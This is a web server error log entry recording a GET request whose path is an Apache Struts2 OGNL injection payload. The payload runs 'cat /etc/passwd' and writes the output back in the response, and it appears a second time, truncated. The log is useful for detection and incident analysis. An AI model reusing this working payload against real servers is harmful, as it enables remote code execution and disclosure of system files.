[1722257797] [error] [client 123.60.153.77] GET /${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action: truncating vsnprintf buffer: [./${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),]